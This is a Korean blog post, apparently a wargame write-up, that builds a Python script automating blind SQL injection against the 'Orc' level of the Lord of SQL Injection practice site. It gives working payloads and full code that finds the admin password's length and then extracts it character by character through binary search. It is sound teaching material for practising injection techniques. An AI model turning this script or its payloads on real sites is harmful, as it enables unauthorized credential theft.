Lord of SQLInjection 4단계 문제를 풀면서, 자동화 코드의 필요성을 느꼈다.
파이썬으로 LOS 4단계 풀이용 코드를 구현해보았다.
LOS 4단계 풀이 : [WarGames/SQL Injection] - Lord of SQL Injection : Orc[4]
생각보다 간단하게 짤 수 있으니 포스팅을 참고하여 직접 구현해보면 좋을 것 같다.
① Requests
LOS 4단계를 자동화 코드로 풀기 위해서는 해당 URL에 접속해서 SQL 구문을 넣어보고, 맞는지 틀리는지에 따라 또 다른 구문을 넣는 작업을 반복해야 한다. 따라서 HTTP 라이브러리인 requests를 import 해준다.
requests는 위와 같이 간단하게 사용할 수 있다. get 메소드를 사용하여 url에 접속하고, status_code를 통해 상태 코드를, [특정 텍스트] in (content or text)를 통해 화면에 출력된 콘텐츠를 확인할 수도 있다.
param = {"파라미터 명": "파라미터 값"}
cookie = {"PHPSESSID": "쿠키"}
req = requests.get(url, params = param, cookies = cookie)
위의 형태로 요청을 받아온 후 req.status_code, req.text를 사용해서 코드를 구현하면 된다.
4단계에서의 params는 pw이고, cookies는 나의 쿠키정보를 적어준다.
자동화 과정은 크게 요청 및 응답 분석 / 비밀번호 길이 찾기 / 비밀번호 찾기로 나뉜다.
② 요청 및 응답 분석
우선 쿠키를 집어넣고 요청이 잘 가는지 확인해보자.
쿠키는 개발자 모드 > Application > Cookies에서 확인할 수 있다.
빨간색으로 가려놓은 Value 값을 cookie 대신 적어준다.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'} # 쿠키 값 넣기
req = requests.get(url, cookies = cookie)
print(req.status_code)
200 코드로 성공적으로 접속했음을 알 수 있다.
이제 응답을 분석해보자.
4단계에서는 참인지 거짓인지를 "Hello admin"이 뜨는지 안 뜨는지로 구분했었다.
따라서 자동화 과정에서도 Hello admin이 떴는지 안 떴는지를 검사할 수 있어야 한다.
처음 Blind SQLi를 쓸 수 있는지 없는지 테스트하는 데 사용되었던 or 1 = 1과 or 1 = 2를 가지고 요청의 참 거짓을 잘 구분할 수 있는지 테스트해보자.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'}
param = {"pw": "' or 1 = 1 #"}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
print(param['pw'], "True")
else:
print(param['pw'], "False")
param이 ' or 1 = 1 #일 때는 True, 1 = 2일 때는 False가 나왔다.
"Hello admin" in text 조건문을 통해 참 / 거짓을 구분할 수 있게 되었다.
③ 비밀번호의 길이를 알아내자.
이제 param을 넣어 비밀번호의 길이를 알아보자.
4단계 풀이에서는 param 값으로 [ ' or id = 'admin' and length(pw) > {} ]의 괄호 안의 값을 늘려나가다가 Hello Admin이 안 나오는 순간을 검사해서 비밀번호의 길이를 알아내었다.
자동화 코드에서는 [ ' or id = 'admin' and length(pw) = {} ]의 괄호 안의 값을 늘려나가다가 Hello Admin이 나오는 순간을 체크해볼 것이다.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and length(pw) = {} #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
print("비밀번호의 길이는:", find_length())
Hello admin이 나오면 그때의 pwlength를 반환하고, 나오지 않는다면 1 늘려서 while문으로 검사를 반복해준다.
비밀번호의 길이를 잘 찾아냈다.
④ 비밀번호를 알아내자.
이제 비밀번호를 한 글자씩 알아낼 것이다.
비밀번호를 알아낼 때는 [ ' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} ]에서 첫 번째 괄호는 1부터 비밀번호 길이까지 반복문을 돌리고, 두 번째 괄호는 이진 탐색을 통해 값을 알아내는 방식을 사용했었다.
이진 탐색 코드는 다음과 같이 중간값보다 큰지 작은지를 판단해서 사용자가 선택한 숫자의 범위를 좁혀나간다.
value = int(input())
def binarySearch(s, e):
mid = (s + e) // 2
if value == mid:
print("당신이 선택한 숫자는: ", mid)
elif value > mid:
binarySearch(mid, e)
else:
binarySearch(s, mid)
binarySearch(1, 127)
위에서 작성한 이진탐색 코드는 숫자와 중간값을 직접 비교할 수 있었지만, 우리의 경우에는 요청을 보낸 결과가 참인지 거짓인지에 따라 새로운 값을 넣어주어야 한다. 따라서 이진 탐색을 사용하는 것이 살짝 까다로울 수 있다.
이진탐색을 넣지 않으면 그냥 이중 for문으로 간단하게 코드를 짤 수 있겠지만, 효율을 높여보자.
def find_pw():
length = find_length()
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
코드를 설명하자면, 위에서 만들었던 find_length() 함수를 통해 비밀번호의 길이를 얻은 후 반복문을 돌린다.
아스키코드의 첫 번째 값(s), 두 번째 값(e)과 중간값(value)을 설정해주고 요청을 보낸다.
value 값과 같다면, password에 value를 문자로 바꾼 값을 붙여주고, 다르다면 큰지 작은지에 따라 value 값을 조정해서 넣어준다.
결과가 잘 나오는지 확인해보자.
전체 코드는 다음과 같다.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'}
def find_length():
pwlength = 1
while True:
param = {"pw": "' or id = 'admin' and length(pw) = {} #".format(pwlength)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
def find_pw():
length = find_length()
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
'WEB HACKING > 웹 해킹[실습]' 카테고리의 다른 글
Php로 웹 개발하기 : 게시판(6) - Create (0) | 2021.11.18 |
---|---|
Php로 웹 개발하기 : 게시판(5) - Read (0) | 2021.11.17 |
Php로 웹 개발하기 : 게시판(4) - Create (0) | 2021.11.11 |
Php로 웹 개발하기 : 게시판(3) - Option Search (1) | 2021.11.10 |
Php로 웹 개발하기 : 게시판(2) - Search (0) | 2021.11.09 |
댓글